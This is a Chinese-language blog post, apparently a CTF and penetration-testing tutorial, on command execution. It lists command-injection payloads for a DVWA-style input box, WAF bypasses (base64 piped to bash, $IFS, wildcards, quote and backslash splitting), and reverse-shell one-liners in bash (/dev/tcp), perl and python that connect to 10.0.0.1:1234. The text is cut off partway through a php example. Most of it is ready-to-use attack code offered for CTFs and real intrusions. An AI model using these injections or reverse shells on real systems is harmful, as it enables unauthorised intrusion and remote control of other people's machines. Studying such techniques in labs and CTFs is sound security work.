命令执行的坑其实早就想填了。最早是因为校赛时,easyphp一题自己因为不熟悉命令执行的一些特性导致套娃题绕到最后一层却没拿到flag。当时十分不爽,下定决心要好好了解下命令执行的相关知识点。
关于命令执行我大体上归为php绕过+rce两类。php的难点主要是在绕过写shell上,而linux的知识主要在RCE达成上。
先从简单说起:
linux 命令& RCE
rce,即remote command/code execute。通常都是渗透中希望能够利用的漏洞之一。因为我们可以以此进行命令执行,读取我们想要的文件或者反弹shell。
命令及关键字waf
简单的命令执行如DVWA靶场里的command injection 模块。它给了我们一个输入框,而它会将输入框的内容当做命令执行。
这样一来我们就可以用命令拼接来执行其他命令。
1.使用&& & ;直接多语句执行
127.0.0.1&&ls
127.0.0.1&ls
127.0.0.1; ls
2.高级一(亿)点的,使用管道符
127.0.0.1| ls
管道符的妙用不止这么一点了。比如CTF或实战渗透中都可能用到的
echo 'Y2F0Cg==' | base64 -d
只要用管道符可以bypass掉绝大部分关键字的waf。
实际利用之读flag.php
echo Y2F0IGZsYWcucGhw|base64 -d|bash
bash如果没有可以用sh
echo Y2F0IGZsYWcucGhw|base64 -d|sh
同时应对关键字waf,linux的特性还允许我们花式绕过
对空格
$IFS
${IFS}
$IFS$1 //$1改成$加其他数字貌似都行
<
<>
{cat,flag.php} //用逗号实现了空格功能
%20
%09
对关键字,如flag,cat,包括上面管道符在内也有很多方法。
cat fl* linux中*通配符匹配任意字数
echo xxxxxxx| base64 -d
ca\t fla\g
cat fl''ag
a=f;b=lag;cat $a$b
对命令函数cat的waf,寻找替代也是一种方法,毕竟读取文件函数很多。
head 读头几行
tail 读尾几行
tac 按行倒着读
more
less
nl
sort
......
如果要奇淫技巧,可以使用如cat `ls`
反引号在linux中作为内联执行。将直接输出结果。所以假如我们就在flag的目录下,这是完全可以直接耍的。
以上都是直接在webshell执行读取文件的基础上的。实际上有时候我们在实际渗透中需要的是反弹shell。包括有的题目也是需要shell来找flag的。
http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
这个网站总结了常见的反弹shell的方式。实际上总结下常见的几种反弹shell
1.bash
bash -c "bash -i >& /dev/tcp/ip/port 0>&1"
bash式的用到的非常多。然而还是会出现有的容器因为是docker起的而没有bash指令的问题,这种时候通常用sh替代。但是sh并不能反弹shell。所以这就涉及到其他的几种方法。
2.perl
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
3.python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
选择python是个不错的替代方式,因为大部分linux机子上都装好了python。(比如题目环境是flask起的时候,肯定是有python了)
4.php
php -r '$so